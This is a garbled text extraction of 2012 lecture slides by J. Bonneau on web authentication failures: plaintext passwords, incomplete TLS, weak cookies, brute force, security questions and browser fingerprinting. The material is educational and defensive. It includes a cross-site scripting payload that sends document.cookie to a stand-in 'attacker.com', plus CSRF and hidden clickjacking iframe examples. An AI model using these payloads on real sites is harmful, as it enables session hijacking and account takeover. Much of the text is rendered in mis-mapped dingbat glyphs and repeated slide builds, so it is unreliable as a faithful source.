Recovery ❍✐ ❥❜♦♥♥❡❛✉✱ ❙♦♠❡♦♥❡ r❡q✉❡st❡❞ t❤❛t ②♦✉r ▲❛st✳❢♠ ♣❛ss✇♦r❞ ❜❡ r❡s❡t✳ ■❢ t❤✐s ✇❛s♥✬t ②♦✉✱ t❤❡r❡✬s ♥♦t❤✐♥❣ t♦ ✇♦rr② ❛❜♦✉t ✲ s✐♠♣❧② ✐❣♥♦r❡ t❤✐s ❡♠❛✐❧ ❛♥❞ ♥♦t❤✐♥❣ ✇✐❧❧ ❝❤❛♥❣❡✳ ■❢ ②♦✉ ❉■❉ ❛s❦ t♦ r❡s❡t t❤❡ ♣❛ss✇♦r❞ ♦♥ ②♦✉r ▲❛st✳❢♠ ❛❝❝♦✉♥t✱ ❥✉st ❝❧✐❝❦ ❤❡r❡ t♦ ♠❛❦❡ ✐t ❤❛♣♣❡♥✿ ❤tt♣✿✴✴✇✇✇✳❧❛st✳❢♠✴❄✐❞❂❁✉s❡r✐❞❃ ✫❦❡②❂❁❛✉t❤❡♥t✐❝❛t✐♦♥✲t♦❦❡♥❃ ❇❡st ❘❡❣❛r❞s✱ ❚❤❡ ▲❛st✳❢♠ ❚❡❛♠ J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 10 / 41
Talk outline What are we trying to achieve? 1 What’s done in practice 2 What goes wrong 3 Technical failures (false authentication) 1 User interface failures 2 Human memory failures 3 Economic failures 4 Technical failures (unintended authentication) 5 Can we do better? 4 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 11 / 41
Plaintext passwords sent over SMTP ❉❡❛r ❏♦s❡♣❤ ❇♦♥♥❡❛✉✱ ❨♦✉ r❡q✉❡st❡❞ ✉s t♦ s❡♥❞ ②♦✉ ②♦✉r ❊❛s②❈❤❛✐r ❧♦❣✐♥ ✐♥❢♦r♠❛t✐♦♥✳ P❧❡❛s❡ ✉s❡ t❤❡ ❢♦❧❧♦✇✐♥❣ ❞❛t❛ t♦ ❧♦❣ ✐♥ t♦ ❊❛s②❈❤❛✐r✿ ❯s❡r ♥❛♠❡✿ ❥❜♦♥♥❡❛✉ P❛ss✇♦r❞✿ q✇❡rt② ❇❡st r❡❣❛r❞s✱ ❊❛s②❈❤❛✐r ▼❡ss❡♥❣❡r✳ Password recovery, EasyChair J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 12 / 41
Insecure at-rest storage of passwords 29-50% of sites store passwords in the clear J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 13 / 41
Insecure at-rest storage of passwords RockYou SQL injection hack January 2010 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 13 / 41
Incomplete TLS deployment J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 14 / 41
Incomplete TLS deployment Password sniffing J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 14 / 41
Incomplete TLS deployment ❁❢♦r♠ ♠❡t❤♦❞❂✧♣♦st✧ ❛❝t✐♦♥❂✧❤tt♣s✿✴✴✇✇✇✳❡①❛♠♣❧❡✳❝♦♠✴✉s❡r❴❧♦❣✐♥✳❝❣✐✧❃ ❯s❡r♥❛♠❡✿ ❁✐♥♣✉t t②♣❡❂✧t❡①t✧ ♥❛♠❡❂✧✉s❡r✧ ✴❃ ❁❜r ✴❃ P❛ss✇♦r❞✿ ❁✐♥♣✉t t②♣❡❂✧♣❛ss✇♦r❞✧ ♥❛♠❡❂✧♣❛ss✧ ✴❃ ❁❜r ✴❃ ❁✐♥♣✉t t②♣❡❂✧s✉❜♠✐t✧ ♥❛♠❡❂✧s✉❜♠✐t✧ ✴❃ ❁✴❢♦r♠❃ Post-only TLS deployment J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 14 / 41
Incomplete TLS deployment TLS Deployment I E C Tot. Full 0.07 0.26 0.07 0.39 Full/POST 0.02 0.01 0.01 0.03 Inconsistent 0.09 0.04 0.03 0.17 None 0.15 0.03 0.23 0.41 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 14 / 41
Cookie theft post-TLS Wireshark J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 15 / 41
Cookie theft post-TLS Firesheep J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 15 / 41
Cookie stealing via cross-site scripting J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 16 / 41
Cookie stealing via cross-site scripting ❨♦✉r s✉❜♠✐ss✐♦♥ ✇✐❧❧ r❡❢❡r❡♥❝❡✿❁❜r✴❃ ❤tt♣✿✇✇✇✳❡s♣♥✳❝♦♠✴❝♦❧❧❡❣❡✲❢♦♦t❜❛❧❧ http://dynamic.espn.go.com/bugs? url=http:www.espn.com/college-football J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 16 / 41
Cookie stealing via cross-site scripting ❨♦✉r s✉❜♠✐ss✐♦♥ ✇✐❧❧ r❡❢❡r❡♥❝❡✿❁❜r✴❃ ❁s❝r✐♣t❃ ❞♦❝✉♠❡♥t✳❧♦❝❛t✐♦♥ ❂ ✧❤tt♣✿✴✴✇✇✇✳❛tt❛❝❦❡r✳❝♦♠✴❝♦♦❦✐❡✲❧♦❣✳❝❣✐❄✧ ✰ ❞♦❝✉♠❡♥t✳❝♦♦❦✐❡ ❁✴s❝r✐♣t❃ http://dynamic.espn.go.com/bugs? url=%3Cscript%3E%0Adocument.location +%3D%0A%22http%3A//www.attacker.com/cookie- log.cgi%3F%22%0A%2B+document.cookie%0A%3C/script%3E J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 16 / 41
Weak cookies ❙■❉ ❯■❉ ❖t❤❡r ❞❛t❛ ✸✾✹✸✹✶✷✺✽✻ r❥❛✶✹ ✳✳✳ ✸✾✹✸✹✶✷✺✽✼ ♠❣❦✷✺ ✳✳✳ ✸✾✹✸✹✶✷✺✽✽ ❥❝❜✽✷ ✳✳✳ ✳✳✳ ✳✳✳ ✳✳✳ Predictable session identifiers Misuse of cryptography Improper field delimitation Fu et al., 2001 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17 / 41
Weak cookies ❙■❉ ❯■❉ ❖t❤❡r ❞❛t❛ ✷✵✶✵✲✶✶✲✶✺❚✶✷✿✵✻✿✹✸ r❥❛✶✹ ✳✳✳ ✷✵✶✵✲✶✶✲✶✺❚✶✷✿✵✼✿✸✽ ♠❣❦✷✺ ✳✳✳ ✷✵✶✵✲✶✶✲✶✺❚✶✷✿✵✽✿✶✶ ❥❝❜✽✷ ✳✳✳ ✳✳✳ ✳✳✳ ✳✳✳ Predictable session identifiers Misuse of cryptography Improper field delimitation Fu et al., 2001 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17 / 41
Weak cookies ❙■❉ ❯■❉ ❖t❤❡r ❞❛t❛ H ✭✷✵✶✵✲✶✶✲✶✺❚✶✷✿✵✻✿✹✸✮ r❥❛✶✹ ✳✳✳ H ✭✷✵✶✵✲✶✶✲✶✺❚✶✷✿✵✼✿✸✽✮ ♠❣❦✷✺ ✳✳✳ H ✭✷✵✶✵✲✶✶✲✶✺❚✶✷✿✵✽✿✶✶✮ ❥❝❜✽✷ ✳✳✳ ✳✳✳ ✳✳✳ ✳✳✳ Predictable session identifiers Misuse of cryptography Improper field delimitation Fu et al., 2001 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17 / 41
Weak cookies COOKIE i = i || ❝r②♣t ( i || K daily ) Predictable session identifiers Misuse of cryptography Improper field delimitation Fu et al., 2001 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17 / 41
Weak cookies COOKIE i = i || ❝r②♣t ( i || K daily ) COOKIE jbonneau = jbonneau7c19f550a775b614 COOKIE jbonneau1 = jbonneau17c19f550a775b614 Predictable session identifiers Misuse of cryptography Improper field delimitation Fu et al., 2001 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17 / 41
Weak cookies COOKIE i = i || ❝r②♣t ( i || K daily ) COOKIE jbonnea jbonneac6ceb34c403d1f6d = COOKIE jbonneaN = jbonneaNc6ceb34c403d1f6d COOKIE j = j938c00d2f12c73a4 COOKIE jNov201999 = jNov201999938c00d2f12c73a4 Predictable session identifiers Misuse of cryptography Improper field delimitation Fu et al., 2001 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17 / 41
Weak cookies COOKIE i = i || t || MAC k ( i || t ) Predictable session identifiers Misuse of cryptography Improper field delimitation Fu et al., 2001 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17 / 41
Weak cookies COOKIE i = i || t || MAC k ( i || t ) COOKIE jcb82 ( 1-Dec-2010 ) = ❥❝❜✽✷✶✲❉❡❝✲✷✵✶✵✺❝❛✺✼✺✶✷❢✹❞❜✽❢❞✶✽✷✺✹❛❞❝❡✾❜✽❡❢✹✸✽ = COOKIE jcb8 ( 21-Dec-2010 ) Predictable session identifiers Misuse of cryptography Improper field delimitation Fu et al., 2001 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 17 / 41
Cross-site request forgery ❁✐❢r❛♠❡ ♥❛♠❡❂✧❝sr❢✧ ✇✐❞t❤❂✧✵✧ ❤❡✐❣❤t❂✧✵✧ ❢r❛♠❡❜♦r❞❡r❂✧✵✧ sr❝❂✧❤tt♣✿✴✴❜❛♥❦✳❡①❛♠♣❧❡✳❝♦♠✴tr❛♥s❢❡r❄ ✫❛♠♦✉♥t❂✶✵✵✵✵✵✵✫t♦❂❛tt❛❝❦❡r✧❃ ❁✴✐❢r❛♠❡❃ J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 18 / 41
Cross-site request forgery ❁✐❢r❛♠❡ ♥❛♠❡❂✧❝sr❢✧ ✇✐❞t❤❂✧✵✧ ❤❡✐❣❤t❂✧✵✧ ❢r❛♠❡❜♦r❞❡r❂✧✵✧ sr❝❂✧❤tt♣✿✴✴t✇✐tt❡r✳❝♦♠✴s❤❛r❡✴✉♣❞❛t❡❄ st❛t✉s❂✐✪✷✵❣♦t✪✷✵♣✇♥❡❞✧❃ ❁✴✐❢r❛♠❡❃ J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 18 / 41
Clickjacking http://www.facebook.com/connect/uiserver.php?app_id=102452128776 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 19 / 41
Clickjacking ❁✐❢r❛♠❡ ♥❛♠❡❂✧❝sr❢✧ ✇✐❞t❤❂✧✵✧ ❤❡✐❣❤t❂✧✵✧ ❢r❛♠❡❜♦r❞❡r❂✧✵✧ sr❝❂✧❤tt♣✿✴✴✇✇✇✳❢❛❝❡❜♦♦❦✳❝♦♠✴❝♦♥♥❡❝t✴ ✉✐s❡r✈❡r✳♣❤♣❄❛♣♣❴✐❞❂✶✵✷✹✺✷✶✷✽✼✼✻✧ st②❧❡❂✧♦♣❛❝✐t②✿ ✵❀ ❢✐❧t❡r✿ ❛❧♣❤❛✭♦♣❛❝✐t②❂✵✮❀ ♣♦s✐t✐♦♥✿ ❛❜s♦❧✉t❡❀t♦♣✿ ✲✶✼✵♣①❀❧❡❢t✿ ✲✹✶✽♣①❀✧❃ ❁✴✐❢r❛♠❡❃ ❁✐♠❣ sr❝❂✧❝❧✐❝❦❥❛❝❦✐♥❣❴❜❛✐t✳❥♣❣✧❃ J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 19 / 41
Clickjacking J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 19 / 41
Clickjacking J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 19 / 41
Talk outline What are we trying to achieve? 1 What’s done in practice 2 What goes wrong 3 Technical failures (false authentication) 1 User interface failures 2 Human memory failures 3 Economic failures 4 Technical failures (unintended authentication) 5 Can we do better? 4 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 20 / 41
No trusted path between users and browser (a) Hand tracking analysis. Rectangles identify regions in movement. Black rectangles are used for movements in the hands regions, grey rectangles for keys, white rectangles for regions where both hand and key movement happens. These rectangles identify likely key pressings. (b) Key pressing analysis. Using occlusion-based techniques, the analysis determines keys that are not pressed, which are represented by the dark polygons. Balzarotti et al. 2008 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 21 / 41
No trusted path between users and browser Hardware keylogger, US$36 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 21 / 41
No trusted path between users and browser Software keylogger, US$49.50 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 21 / 41
No trusted path between users and browser Phishing (Firefox) J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 21 / 41
Talk outline What are we trying to achieve? 1 What’s done in practice 2 What goes wrong 3 Technical failures (false authentication) 1 User interface failures 2 Human memory failures 3 Economic failures 4 Technical failures (unintended authentication) 5 Can we do better? 4 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 22 / 41
Brute-force attacks 123456 12345 123456789 password iloveyou princess 1234567 rockyou 12345678 abc123 nicole daniel babygirl monkey lovely jessica 654321 michael J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 23 / 41
Brute-force attacks Rate limiting (Truthdig) J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 23 / 41
Brute-force attacks Forced reset (Cafe Press) J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 23 / 41
Brute-force attacks CAPTCHA restrictions (Wikipedia) J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 23 / 41
Brute-force attacks countermeasure I E C Tot. CAPTCHA 0.07 0.01 0.01 0.09 timeout 0.01 0.01 0.01 0.03 reset 0.01 0.02 0.01 0.03 none 0.25 0.29 0.31 0.84 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 23 / 41
Brute-force attacks limit I E C Tot. 3 0.02 0.00 0.00 0.02 4 0.01 0.01 0.00 0.01 5 0.02 0.01 0.03 0.06 6 0.01 0.01 0.00 0.03 7 0.01 0.00 0.00 0.01 10 0.01 0.00 0.00 0.01 15 0.01 0.00 0.00 0.01 20 0.00 0.01 0.00 0.01 25 0.01 0.00 0.00 0.01 > 100 0.25 0.29 0.31 0.84 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 23 / 41
Brute-force attacks 35 30 25 µ α (bits) 20 marginal work ˜ 15 Yahoo! [2011] Battlefield Heroes [2011] 10 Gawker [2010] RockYou [2009] 5 Morris [79] Klein [90] 0 0 . 0 0 . 2 0 . 4 0 . 6 0 . 8 1 . 0 success rate α J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 23 / 41
Personal knowledge questions J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 24 / 41
Personal knowledge questions Web search Used against Sarah Palin in 2008 Public records Griffith et. al: 30% of individual’s mother’s maiden names Social engineering Dumpster diving, burglary Acquaintance attacks Schecter et. al: ∼ 25% of questions guessed by friends, family J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 24 / 41
Personal knowledge questions 70% of answers are proper names (Just et al. 2008) 25% surname 10% forename 15% pet name 20% place name Most others are trivially insecure ❲❤❛t ✐s ♠② ❢❛✈♦✉r✐t❡ ❝♦❧♦✉r❄ ❲❤❛t ✐s t❤❡ ✇♦rst ❞❛② ♦❢ t❤❡ ✇❡❡❦❄ J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 24 / 41
Personal knowledge questions 40 35 30 Forename µ α marginal guesswork ˜ 25 Surname Password [RockYou] 20 Password [Klein] Password [Spafford] 15 Password [Schneier] 10 5 0 0 . 0 0 . 2 0 . 4 0 . 6 0 . 8 1 . 0 success rate α Personal knowledge worse than passwords (Bonneau et al. 2010) J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 24 / 41
Talk outline What are we trying to achieve? 1 What’s done in practice 2 What goes wrong 3 Technical failures (false authentication) 1 User interface failures 2 Human memory failures 3 Economic failures 4 Technical failures (unintended authentication) 5 Can we do better? 4 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 25 / 41
Systemic trends in web authentication 1 . 0 0 . 8 Proportion of sites collecting passwords 0 . 6 0 . 4 0 . 2 0 . 0 0 100 200 300 400 500 Traffic rank All sites collect passwords All sites utilise email infrastructure Naming Liveness checks Password recovery J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 26 / 41
Systemic trends in web authentication All sites collect passwords All sites utilise email infrastructure Naming Liveness checks Password recovery J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 26 / 41
Economic models Password over-collection is a tragedy of the commons Password insecurity is a negative externality J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 27 / 41
Economic models Password over-collection is a tragedy of the commons Password insecurity is a negative externality J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 27 / 41
Consequences 1 . 0 0 . 8 Proportion of sites collecting passwords 0 . 6 0 . 4 0 . 2 0 . 0 0 100 200 300 400 500 Traffic rank Users overwhelmed by password burden Average person has > 25 accounts (Flôrencio et al., 2007) Users forced to re-use passwords across security contexts Cross-site password compromise increasing Email accounts becoming powerful credentials J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 28 / 41
Consequences 10 password score page views per million 0 1E-2 1E-1 1E+0 1E+1 1E+2 1E+3 1E+4 1E+5 E-commerce News/Customization User interaction Users overwhelmed by password burden Average person has > 25 accounts (Flôrencio et al., 2007) Users forced to re-use passwords across security contexts Cross-site password compromise increasing Email accounts becoming powerful credentials J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 28 / 41
Consequences Users overwhelmed by password burden Average person has > 25 accounts (Flôrencio et al., 2007) Users forced to re-use passwords across security contexts Cross-site password compromise increasing Email accounts becoming powerful credentials J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 28 / 41
Consequences Users overwhelmed by password burden Average person has > 25 accounts (Flôrencio et al., 2007) Users forced to re-use passwords across security contexts Cross-site password compromise increasing Email accounts becoming powerful credentials J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 28 / 41
Talk outline What are we trying to achieve? 1 What’s done in practice 2 What goes wrong 3 Technical failures (false authentication) 1 User interface failures 2 Human memory failures 3 Economic failures 4 Technical failures (unintended authentication) 5 Can we do better? 4 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 29 / 41
Implicit identifiers ❙❘❈✿ ✶✷✽✳✷✸✷✳✽✳✶✻✽ ❉❙❚✿ ✶✷✽✳✷✸✷✳✵✳✷✵ ✳✳✳ IP address 1 HTTP headers 2 HTTP referer 3 Javascript runtime (also Flash, Java, Silverlight ...) 4 Cross-site de-anonymisation 5 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 30 / 41
Implicit identifiers ●❊❚ ✴ ❍❚❚P✴✶✳✶ ❍♦st✿ ✇✇✇✳❝❧✳❝❛♠✳❛❝✳✉❦ ❯s❡r✲❆❣❡♥t✿ ▼♦③✐❧❧❛✴✺✳✵ ✭❳✶✶❀ ❯❀ ▲✐♥✉① ✐✻✽✻❀ ❡♥✲●❇❀ r✈✿✶✳✾✳✷✳✶✷✮ ●❡❝❦♦✴✷✵✶✵✶✵✷✼ ❯❜✉♥t✉✴✾✳✶✵ ✭❦❛r♠✐❝✮ ❋✐r❡❢♦①✴✸✳✻✳✶✷ ❆❝❝❡♣t✿ t❡①t✴❤t♠❧✱ ❛♣♣❧✐❝❛t✐♦♥✴①❤t♠❧✰①♠❧✱ ❛♣♣❧✐❝❛t✐♦♥✴①♠❧❀ q❂✵✳✾✱✯✴✯ ❆❝❝❡♣t✲▲❛♥❣✉❛❣❡✿ ❡♥✲❣❜✱❡♥❀q❂✵✳✺ ❆❝❝❡♣t✲❊♥❝♦❞✐♥❣✿ ❣③✐♣✱❞❡❢❧❛t❡ ❆❝❝❡♣t✲❈❤❛rs❡t✿ ■❙❖✲✽✽✺✾✲✶✱✉t❢✲✽❀q❂✵✳✼✱✯❀ IP address 1 HTTP headers 2 HTTP referer 3 Javascript runtime (also Flash, Java, Silverlight ...) 4 Cross-site de-anonymisation 5 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 30 / 41
Implicit identifiers ●❊❚ ✴ ❍❚❚P✴✶✳✶ ❍♦st✿ ✇✇✇✳❝❧✳❝❛♠✳❛❝✳✉❦ ❘❡❢❡r❡r✿ ❤tt♣✿✴✴✇✇✇✳❜✐♥❣✳❝♦♠✴s❡❛r❝❤❄ q❂✇❤❛t✪✷✼s✰t❤❡✰❜❡st✰✉♥✐✈❡rs✐t② IP address 1 HTTP headers 2 HTTP referer 3 Javascript runtime (also Flash, Java, Silverlight ...) 4 Cross-site de-anonymisation 5 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 30 / 41
Implicit identifiers ●❊❚ ✴ ❍❚❚P✴✶✳✶ ❍♦st✿ ✇✇✇✳❝❧✳❝❛♠✳❛❝✳✉❦ ❘❡❢❡r❡r✿ ❤tt♣✿✴✴✇✇✇✳❢❛❝❡❜♦♦❦✳❝♦♠✴♣r♦❢✐❧❡✳♣❤♣❄ ✐❞❂✶✺✶✶✸✺✾✹✻✺ IP address 1 HTTP headers 2 HTTP referer 3 Javascript runtime (also Flash, Java, Silverlight ...) 4 Cross-site de-anonymisation 5 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 30 / 41
Implicit identifiers ✴✴❞❡t❡❝t s❝r❡❡♥ r❡s♦❧✉t✐♦♥ ① ❂ s❝r❡❡♥✳✇✐❞t❤❀ ② ❂ s❝r❡❡♥✳❤❡✐❣❤t❀ ✴✴❞❡t❡❝t ♣❧✉❣✐♥s q ❂ ♥❛✈✐❣❛t♦r✳♠✐♠❡❚②♣❡s❬✧✈✐❞❡♦✴q✉✐❝❦t✐♠❡✧❪❀ ❥ ❂ ♥❛✈✐❣❛t♦r✳❥❛✈❛❊♥❛❜❧❡❞✭✮❀ ✴✴❞❡t❡❝t t✐♠❡ ③♦♥❡ t③ ❂ ✭♥❡✇ ❉❛t❡✭✮✮✳❣❡t❚✐♠❡③♦♥❡❖❢❢s❡t✭✮❀ IP address 1 HTTP headers 2 HTTP referer 3 Javascript runtime (also Flash, Java, Silverlight ...) 4 Cross-site de-anonymisation 5 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 30 / 41
Implicit identifiers IP address 1 HTTP headers 2 HTTP referer 3 Javascript runtime (also Flash, Java, Silverlight ...) 4 Cross-site de-anonymisation 5 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 30 / 41
Implicit identifiers ★ ❙❡♥❞ ✉s❡rs t♦ ♠② ❞❡t❡❝t♦r✳✳✳ ❁✐❢r❛♠❡ ♥❛♠❡❂✧❞❡t❡❝t♦r✧ ✇✐❞t❤❂✧✵✧ ❤❡✐❣❤t❂✧✵✧ ❢r❛♠❡❜♦r❞❡r❂✧✵✧ sr❝❂✧❤tt♣s✿✴✴❞♦❝s✳❣♦♦❣❧❡✳❝♦♠✴❞♦❝✉♠❡♥t✴❞✴ ✶❚❯❱✾①✶❧❋❆◗❝❱❲✈❤P✹❊❆❍◗❩■Pr❱♠♦✸❴✈r③✺❙③✽❲♦✧❃ ❁✴✐❢r❛♠❡❃ Narayanan 2009 IP address 1 HTTP headers 2 HTTP referer 3 Javascript runtime (also Flash, Java, Silverlight ...) 4 Cross-site de-anonymisation 5 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 30 / 41
Implicit identifiers Narayanan 2009 IP address 1 HTTP headers 2 HTTP referer 3 Javascript runtime (also Flash, Java, Silverlight ...) 4 Cross-site de-anonymisation 5 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 30 / 41
Implicit identifiers ❁✐♠❣ ✐❞❂✧t❡st✧ st②❧❡❂✧❞✐s♣❧❛②✿♥♦♥❡✧❃ ❁s❝r✐♣t❃ t❡st ❂ ❞♦❝✉♠❡♥t✳❣❡t❊❧❡♠❡♥t❇②■❞✭✬t❡st✬✮❀ ✈❛r st❛rt ❂ ♥❡✇ ❉❛t❡✭✮❀ t❡st✳♦♥❡rr♦r ❂ ❢✉♥❝t✐♦♥✭✮ ④ t✐♠❡ ❂ ♥❡✇ ❉❛t❡✭✮ ✲ st❛rt❀⑥ t❡st✳sr❝ ❂ ✏✧❤tt♣✿✴✴✇✇✇✳❡①❛♠♣❧❡✳❝♦♠✴✑❀ ❁✴s❝r✐♣t❃ Bortz et al. 2007 IP address 1 HTTP headers 2 HTTP referer 3 Javascript runtime (also Flash, Java, Silverlight ...) 4 Cross-site de-anonymisation 5 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 30 / 41
Talk outline What are we trying to achieve? 1 What’s done in practice 2 What goes wrong 3 Can we do better? 4 J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 31 / 41
Password alternatives Mitigates: Guessing attacks, phishing?, malware J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 32 / 41
Password alternatives Mitigates: Guessing attacks, malware? J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 32 / 41
Password alternatives Mitigates: Brute-force attacks?, trawling attacks? J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 32 / 41
Password alternatives 40 35 Forename 30 Surname µ α Password [RockYou] marginal guesswork ˜ 25 Password [Klein] Password [Spafford] 20 Password [Schneier] Mnemonic [Kuo] 15 Pass-Go PassPoints 10 Passfaces 5 0 0 . 0 0 . 2 0 . 4 0 . 6 0 . 8 1 . 0 success rate α J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 32 / 41
Better password choices Microsoft password advice Mitigates: Password guessing J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 33 / 41
Better password choices To construct a good password, create a simple sentence of 8 words and choose letters from the words to make up a password. You might take the initial or final letters; you should put some letters in upper case to make the password harder to guess; and at least one number and/or special character should be inserted as well. Use this method to generate a password of 7 or 8 characters. Yan et al. 2004 Mitigates: Password guessing J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 33 / 41
Better password choices 40 35 30 Forename µ α marginal guesswork ˜ Surname 25 Password [RockYou] Password [Klein] 20 Password [Spafford] Password [Schneier] 15 Mnemonic [Kuo] 10 5 0 0 . 0 0 . 2 0 . 4 0 . 6 0 . 8 1 . 0 success rate α J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 33 / 41
Better password choices Mitigates: Password guessing J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 33 / 41
Better password choices t✇ttr✳❇❆◆◆❊❉❴P❆❙❙❲❖❘❉❙ ❂ ❬ ✧✵✵✵✵✵✵✧✱ ✧✶✶✶✶✶✶✧✱ ✧✶✶✶✶✶✶✶✶✧✱ ✧✶✶✷✷✸✸✧✱ ✧✶✷✶✷✶✷✧✱ ✧✶✷✸✶✷✸✧✱ ✧✶✷✸✹✺✻✧✱ ✧✶✷✸✹✺✻✼✧✱ ✧✶✷✸✹✺✻✼✽✧✱ ✧✶✷✸✹✺✻✼✽✾✧✱ ✧✶✸✶✸✶✸✧✱ ✧✷✸✷✸✷✸✧✱ ✧✻✺✹✸✷✶✧✱ ✧✻✻✻✻✻✻✧✱ ✧✻✾✻✾✻✾✧✱ ✧✼✼✼✼✼✼✧✱ ✧✼✼✼✼✼✼✼✧✱ ✧✽✻✼✺✸✵✾✧✱ ✧✾✽✼✻✺✹✧✱ ✧❛❛❛❛❛❛✧✱ ✧❛❜❝✶✷✸✧✱ ✧❛❜❝✶✷✸✧✱ ✧❛❜❝❞❡❢✧✱ ✧❛❜❣rt②✉✧✱ ✧❛❝❝❡ss✧✱ ✧❛❝❝❡ss✶✹✧✱ ✧❛❝t✐♦♥✧✱ ✧❛❧❜❡rt✧✱ ✧❛❧❜❡rt♦✧✱ ✧❛❧❡①✐s✧✱ ✧❛❧❡❥❛♥❞r❛✧✱ ✧❛❧❡❥❛♥❞r♦✧✱ ✧❛♠❛♥❞❛✧✱ ✧❛♠❛t❡✉r✧✱ ✧❛♠❡r✐❝❛✧✱ ✧❛♥❞r❡❛✧✱ ✧❛♥❞r❡✇✧✱ ✧❛♥❣❡❧❛✧✱ ✧❛♥❣❡❧s✧✱ ✧❛♥✐♠❛❧✧✱ ✧❛♥t❤♦♥②✧✱ ✧❛♣♦❧❧♦✧✱ ✧❛♣♣❧❡s✧✱ ✧❛rs❡♥❛❧✧✱ ✧❛rt❤✉r✧✱ ✧❛s❞❢❣❤✧✱ ✧❛s❞❢❣❤✧✱ ✧❛s❤❧❡②✧✱ ✧❛ss❤♦❧❡✧✱ ✧❛✉❣✉st✧✱ ✧❛✉st✐♥✧✱ ✧❜❛❞❜♦②✧✱ ✧❜❛✐❧❡②✧✱ ✧❜❛♥❛♥❛✧✱ ✧❜❛r♥❡②✧✱ ✧❜❛s❡❜❛❧❧✧✱ ✧❜❛t♠❛♥✧✱ ✧❜❡❛tr✐③✧✱ ✧❜❡❛✈❡r✧✱ ✧❜❡❛✈✐s✧✱ ✧❜✐❣❝♦❝❦✧✱ ✧❜✐❣❞❛❞❞②✧✱ ✧❜✐❣❞✐❝❦✧✱ ✧❜✐❣❞♦❣✧✱ ✧❜✐❣t✐ts✧✱ ✧❜✐r❞✐❡✧✱ ✧❜✐t❝❤❡s✧✱ ✧❜✐t❡♠❡✧✱ ✧❜❧❛③❡r✧✱ ✧❜❧♦♥❞❡✧✱ ✧❜❧♦♥❞❡s✧✱ ✧❜❧♦✇❥♦❜✧✱ ✧❜❧♦✇♠❡✧✱ ✧❜♦♥❞✵✵✼✧✱ ✧❜♦♥✐t❛✧✱ ✧❜♦♥♥✐❡✧✱ ✧❜♦♦❜♦♦✧✱ ✧❜♦♦❣❡r✧✱ ✧❜♦♦♠❡r✧✱ ✧❜♦st♦♥✧✱ ✧❜r❛♥❞♦♥✧✱ ✧❜r❛♥❞②✧✱ ✧❜r❛✈❡s✧✱ ✧❜r❛③✐❧✧✱ ✧❜r♦♥❝♦✧✱ 